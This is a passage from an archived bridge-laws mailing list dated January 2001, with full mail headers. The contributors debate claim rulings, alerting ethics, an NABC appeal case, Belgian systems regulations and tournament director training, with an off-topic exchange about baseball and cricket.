<004c01c08834$dc6d4740$9a9c1e18@san.rr.com> <008e01c08a24$d91a2940$9a9c1e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:49 30/01/01 -0000, Grattan Endicott wrote: > If North were to argue that he might have >protected with 3C I would find more to look at in >the case. AG : I would not. It would be an insufficient bidv :-> And 4C nobody would dream to bid. > (4) As commentator I am not bound by the >AC's view of what actions are likely. Here I think >the double for a minor suit with only three in one >of them is less than likely. ~ Grattan ~ +=+ AG : agreed. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 21:58:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UAwbw02347 for bridge-laws-outgoing; Tue, 30 Jan 2001 21:58:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UAwOt02298 for ; Tue, 30 Jan 2001 21:58:24 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis163.urz.uni-duesseldorf.de [134.99.138.163]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G7Z0003B2H22Z@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 11:58:16 +0100 (MET) Date: Tue, 30 Jan 2001 11:58:11 +0100 From: Richard Bley Subject: RE: [BLML] Claim? In-reply-to: <67378DEA146DD21194C20000F87B08BA01B8B79C@fdwag002s.fd.agro.nl> X-Sender: bley@mail.rz.uni-duesseldorf.de To: "Kooijman, A." , bridge-laws@rgb.anu.edu.au Message-id: <5.0.2.1.0.20010130115730.00a1fec0@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ton wrote: >My feeling in this case is similar to David's. >Yes, if an opponent insists I have to deal with it as a claim, but if Chemla >had said so (damn, I am going to make 12 tricks here) and I had been near >the table, watching a smile on Zia's face replying: 'we make it 11', after >which the 30 kibitzers at the table started laughing and play continued, I >would have asked them to restrict there conversation to the most necessary >statements, but never would have interfered in the play by starting treating >this as a claim (so 81C4 but not 81C6). >This leads to a suggestion for the drafting sub-committee (is that what it >is?): for a claim there should be an intention to curtail the play. > >And discussing this I have another one. In the claim between England and >Belgium in the Olympiad somebody claimed on a double squeeze and wasn't able >to exercise this squeeze when play continued. He got his tricks. I don't >like that decision, not because the laws were not followed ( ? did the TD >consider to use 70E being convinced that saying 'double squeeze'consists of >just unstated lines of play?), but because the laws should not have allowed >it. >Suggestion: the line of play of the remaining tricks should not depend on >specific cards to be played by the opponents, unless clarified in detail by >the claimer. > >(For the moment I leave a more precise description to others, hoping that my >intention is clear) I like this. ;-) Richard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 22:02:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UB2jU03387 for bridge-laws-outgoing; Tue, 30 Jan 2001 22:02:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UB2Zt03340 for ; Tue, 30 Jan 2001 22:02:36 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis163.urz.uni-duesseldorf.de [134.99.138.163]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G7Z00NEK2NZ1V@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 12:02:25 +0100 (MET) Date: Tue, 30 Jan 2001 12:02:21 +0100 From: Richard Bley Subject: Re: [BLML] Alert or Not In-reply-to: <3.0.6.32.20010130103739.0083e100@pop.ulb.ac.be> X-Sender: bley@mail.rz.uni-duesseldorf.de To: bridge-laws@rgb.anu.edu.au Message-id: <5.0.2.1.0.20010130120202.00a1bae0@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT References: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92 .2]> Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:37 30.01.2001 +0100, alain gottcheiner wrote: >At 19:55 30/01/01 +1200, Wayne Burrows wrote: > >How do you see the law/ethics of alerting your partner's conventional >responses to your unalerted conventional bids? > >AG : I am not allowed to know he didn't alert. I do alert, and I know it >could illegally awaken him. In this case I pay the price. > >But it is far more frequent that partner forgot to alert than that he >forgot the system (at least my partners). Thus I'd like not to worsen it by >not alerting myself. By the way, suppose he did alert and you didn't notice >it. Now, by not alerting, you're creating the incorrection. I agree to this. Richard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 22:05:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UAuVC01741 for bridge-laws-outgoing; Tue, 30 Jan 2001 21:56:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UAtlt01649 for ; Tue, 30 Jan 2001 21:55:50 +1100 (EST) Received: from village.uunet.be (uu212-190-2-115.unknown.uunet.be [212.190.2.115]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0UAtbf22498 for ; Tue, 30 Jan 2001 11:55:38 +0100 (MET) Message-ID: <3A758DE9.FA403D97@village.uunet.be> Date: Mon, 29 Jan 2001 16:36:09 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? References: <3.0.6.32.20010126111514.008358d0@pop.ulb.ac.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > Alan Hill writes > >As someone very very fond of his cricket who has seen the Cubs > >at Wrigley field I strongly recommend a visit. It will change > >your view of Baseball for life. > >As my first message I hope you will tell me if I have done > >everything right. > > Oh, hi. Nice to see you. Any cats? d*gs? > > I think baseball is great, but it is true it is not international. > I think the Cubans would disagree on that one. And the many other nations that take baseball very seriously. Don't forget that Baseball has now been an official Olympic sport three times. Herman, who's seen one international baseball match (Dominican Rep vs Nicaragua, so not the worst in the world either) and was thoroughly bored. and who's seen one international cricket match (Netherlands v Scotland) and was amused the whole day. -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 00:23:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UDMKH24396 for bridge-laws-outgoing; Wed, 31 Jan 2001 00:22:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UDMBt24392 for ; Wed, 31 Jan 2001 00:22:12 +1100 (EST) Received: from kay (ashsv1-15.cswnet.com [209.136.193.15]) by mail.cswnet.com (Postfix) with SMTP id 77F795D106; Tue, 30 Jan 2001 07:21:59 -0600 (CST) Message-ID: <002d01c08ac0$032febc0$0fc188d1@kay> From: "Nelson/Kay Ford" To: "David Stevenson" , References: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> <005a01c08868$c5c56c00$0dc188d1@kay> Subject: Re: [BLML] Claim? Date: Tue, 30 Jan 2001 07:24:44 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "David Stevenson" To: Sent: Monday, January 29, 2001 11:02 AM Subject: Re: [BLML] Claim? > As in most sports the accepted way to learn how to regulate a game > involves some training. It is not really acceptable to become a TD by > picking up a Law book and getting on with it. > > On our basic TD courses they are trained about major and minor penalty > cards, insufficient bids and claims, as well as revokes, calls out of > turn and various other things. IMO, most clubs are skating on thin financial ice, thus they cannot afford to pay directors much (it's a stretch to call it minimum wage), plus most directors are also players and would really rather be playing than directing. The result is that most clubs are hard-pressed to come up with all the directors that they need, so they take what they can get. This includes making sure that directors pass the test. The #1 concern is getting a warm body in there. The #2 concern is that the body can run the software and enter scores into the computer without screwing everything up. THEN you can worry about the body knowing the Laws... I probably should add that the Hot Springs Village club averages about 3 events per day, thus the need for so many directors. Nelson Ford http://www.hsbridge.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 01:43:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEhTv24866 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:43:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-1.nyroc.rr.com [24.92.226.166]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEhJt24861 for ; Wed, 31 Jan 2001 01:43:20 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0UEdhb12643 for ; Tue, 30 Jan 2001 09:39:44 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.2.32.20010130051857.0101b468@pop3.norton.antivirus> References: <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> <005c01c087cf$347c1120$9a9c1e18@san.rr.com> <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> <3.0.2.32.20010130051857.0101b468@pop3.norton.antivirus> Date: Tue, 30 Jan 2001 09:38:58 -0500 To: bridge-laws@rgb.anu.edu.au From: Ed Reppert Subject: Re: [BLML] Claim? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 5:18 AM +0100 1/30/01, Anton Witzen wrote: >i miss the standard question that all TDs should ask before explaining: >Who told you to lead????? >Even international TD's sometimes do this wrong :) Good point. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOnbTA72UW3au93vOEQJGcQCaA6lhS8Qf0za3msDczx8EbjYNwrYAoPVr QEecKfu0O5icdC2R5yYH76kI =emSx -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 01:51:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEnv824904 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:49:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEnEt24898 for ; Wed, 31 Jan 2001 01:49:23 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14Nc5X-000Gmi-0B for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 14:48:56 +0000 Message-ID: Date: Tue, 30 Jan 2001 03:43:22 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Cincinnati NABC Appeal 36 References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> <010701c08a5d$698b43a0$9a9c1e18@san.rr.com> In-Reply-To: <010701c08a5d$698b43a0$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes > >From: "David Stevenson" > >> Marvin L. French writes >> >> >The casebook commentators approved the Panel's decision, giving >it a score of >> >92.3. I'd give it 62.3 >> >> Well, you have a copy of the casebook, and I don't, so you know >what I >> thought, and I can't remember! >> >Now that is inexcusable, real *lese majeste*. Copies were given to >TDs and important others at the Birmingham NABC last fall, and I >managed to get one under the table. I am not saying for certain that I have never had a copy, though I do not think so. Linda apologised for not sending me a copy recently but I have lost track and am not sure to which NABC she referred. All I know is that the most recent one I can find at home was Boston, Fall 99. >Your comment, as quoted, was: > >"It seems that educating players in the simple legal requirements >should not be impossible, even for Flight B. While I have doubts >about whether the Panel's decision is really legal it is certainly >educational." Yes, rightly or wrongly I comment on what I think is important, which is not always the result of the appeal. Is it legal to split a score because the NOs did "insufficient to protect themselves"? We know that we split a score where at all probable and likely are not in line: we split a score in the ACBL where the NOs made an egregious error, or failed to play bridge, or whatever the current yardstick is - or have they accepted irrational, wild or gambling action? But splitting a score because the NOs failed to protect themselves sufficiently, specifically by calling the TD late? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 01:51:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEoDG24908 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:50:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEaBt24812 for ; Wed, 31 Jan 2001 01:36:13 +1100 (EST) Received: from village.uunet.be (uu212-190-0-17.unknown.uunet.be [212.190.0.17]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0UEa7t08640 for ; Tue, 30 Jan 2001 15:36:07 +0100 (MET) Message-ID: <3A76B091.D811DE0F@village.uunet.be> Date: Tue, 30 Jan 2001 13:16:17 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Alert or Not References: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Wayne Burrows wrote: > > How do you see the law/ethics of alerting your partner's conventional responses to your unalerted conventional bids? > Do you really want my opinion ? Go check the home page for the "DeWael School" : http://www.gallery.uunet.be/hermandw/bridge/dwschool.html -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 01:51:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEpCE24925 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:51:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEa5t24800 for ; Wed, 31 Jan 2001 01:36:07 +1100 (EST) Received: from village.uunet.be (uu212-190-0-17.unknown.uunet.be [212.190.0.17]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0UEa0t08602 for ; Tue, 30 Jan 2001 15:36:00 +0100 (MET) Message-ID: <3A76A90D.453AFC2D@village.uunet.be> Date: Tue, 30 Jan 2001 12:44:13 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] WBF Systems Policy References: <045a01c088ce$ad7154a0$9d391dc2@rabbit> <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> <002a01c087cc$63187800$9a9c1e18@san.rr.com> <045a01c088ce$ad7154a0$9d391dc2@rabbit> <3.0.6.32.20010130104429.008431a0@pop.ulb.ac.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner wrote: > > > AG : I've tried to play 2C = 11-13, 6 clubs or 3-7, 6 hearts (and 2D alike, > D or S). This was classified as BSC, so we changed it to 14-16 or 3-7 and > this was allowed. > Now Alain, that was in Belgium. Where the regulations say that anything below 13 HCP is "weak". Silly, but that's the way it is. Not at all relevant. -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 01:51:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEpYH24935 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:51:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEaAt24806 for ; Wed, 31 Jan 2001 01:36:12 +1100 (EST) Received: from village.uunet.be (uu212-190-0-17.unknown.uunet.be [212.190.0.17]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0UEa5t08627 for ; Tue, 30 Jan 2001 15:36:05 +0100 (MET) Message-ID: <3A76B01C.A989FFA@village.uunet.be> Date: Tue, 30 Jan 2001 13:14:20 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Cap Gemini shows the way References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> <000a01c08973$83ffd600$0200000a@mindspring.com> <000f01c0898d$e47a7ac0$5240063e@dodona> <7jjPJjBkcdd6Ews7@blakjak.demon.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > > It is a general part of the decisions of TDs and ACs that they only > consider matters at the table concerned, and not the effect on the rest > of the field. > That is true, but I happen to believe that by coonsidering the matters at the table in an unbiased manner, the AC is at the same time "protecting the field". So while it is not a concern, it does turn out to be looked after. -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 01:51:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEaqw24826 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:36:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEa7t24804 for ; Wed, 31 Jan 2001 01:36:09 +1100 (EST) Received: from village.uunet.be (uu212-190-0-17.unknown.uunet.be [212.190.0.17]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0UEa3t08613 for ; Tue, 30 Jan 2001 15:36:03 +0100 (MET) Message-ID: <3A76AA46.16BAB31@village.uunet.be> Date: Tue, 30 Jan 2001 12:49:26 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Cincinnati NABC Appeal 36 References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> <008e01c08a24$d91a2940$9a9c1e18@san.rr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Marvin L. French" wrote: > > > > > 9 B 1 (a) The Director must be summoned at once when attention is > > drawn to an irregularity. > > Attention wasn't called to the irregularity. There is no evidence > that N/S knew there had been an irregularity. Very few B players > know the Alert Procedure. When they saw the dummy it occurred to > them that there might have been an irregularity, so one of them (we > don't know which) called the TD. > This raises an important issue. Is it legal for a player to claim ignorance of the regulations as an excuse for not protecting his rights ? I don't believe it is, but perhaps American legal practice is far less draconian on this that us Napoleonic code continentals. -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 02:05:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UEaoW24825 for bridge-laws-outgoing; Wed, 31 Jan 2001 01:36:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UEa1t24796 for ; Wed, 31 Jan 2001 01:36:03 +1100 (EST) Received: from village.uunet.be (uu212-190-0-17.unknown.uunet.be [212.190.0.17]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0UEZtt08570 for ; Tue, 30 Jan 2001 15:35:55 +0100 (MET) Message-ID: <3A76A5A7.A34FD652@village.uunet.be> Date: Tue, 30 Jan 2001 12:29:43 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Claim? References: <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> <005c01c087cf$347c1120$9a9c1e18@san.rr.com> <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> <3.0.2.32.20010130051857.0101b468@pop3.norton.antivirus> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anton Witzen wrote: > > > i miss the standard question that all TDs should ask before explaining: > Who told you to lead????? > Even international TD's sometimes do this wrong :) > regards, > anton > Yes Anton, I recognize this. It is tought to directors in Holland and Belgium, and many a young director does put this into his "spiel". But I don't. I happen to believe that the player that led out of turn would quite quickly tell me "but he told me I could lead", if such a thing happened. That being said, I do think it is important that the TD learns that this matter is important. So while I do not think he should ask, he should be on the look-out for any clue as to this being the case after all, just in case the opening leader were too shy to say anything. I did ask a question of this sort when they called me last saturday. Opening Leader (the wrong one) had not only led, faced-up, but also opened the screen all by himself. Now I did ask if his screenmate had in any way acknowledged that the screen could be opened. He hadn't. -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 02:33:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UFWX625157 for bridge-laws-outgoing; Wed, 31 Jan 2001 02:32:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from xion.spase.nl (router.spase.nl [213.53.246.249]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UFWHt25152 for ; Wed, 31 Jan 2001 02:32:19 +1100 (EST) Received: by XION with Internet Mail Service (5.5.2650.21) id ; Tue, 30 Jan 2001 16:30:01 +0100 Message-ID: From: Martin Sinot To: Bridge Laws Subject: RE: [BLML] Claim? Date: Tue, 30 Jan 2001 16:29:52 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Herman De Wael wrote: >Anton Witzen wrote: >> >> >> i miss the standard question that all TDs should ask before explaining: >> Who told you to lead????? >> Even international TD's sometimes do this wrong :) >> regards, >> anton >> > >Yes Anton, I recognize this. > >It is tought to directors in Holland and Belgium, and many a >young director does put this into his "spiel". > >But I don't. > >I happen to believe that the player that led out of turn >would quite quickly tell me "but he told me I could lead", >if such a thing happened. Sorry to disappoint you, Herman, but many players don't know that that makes a difference and won't tell you unless you ask for it. -- Martin Sinot Nijmegen martin@spase.nl -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 03:54:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UGrLm06130 for bridge-laws-outgoing; Wed, 31 Jan 2001 03:53:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UGr9t06080 for ; Wed, 31 Jan 2001 03:53:10 +1100 (EST) Received: from james (user-2ive4jo.dialup.mindspring.com [165.247.18.120]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id LAA24821; Tue, 30 Jan 2001 11:53:02 -0500 (EST) Message-ID: <003501c08add$21d5d040$7812f7a5@james> From: "Craig Senior" To: "David Burn" , "Bridge Laws" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> Subject: Re: [BLML] Cap Gemini shows the way Date: Tue, 30 Jan 2001 11:53:10 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I must admit I don't approve of this in a 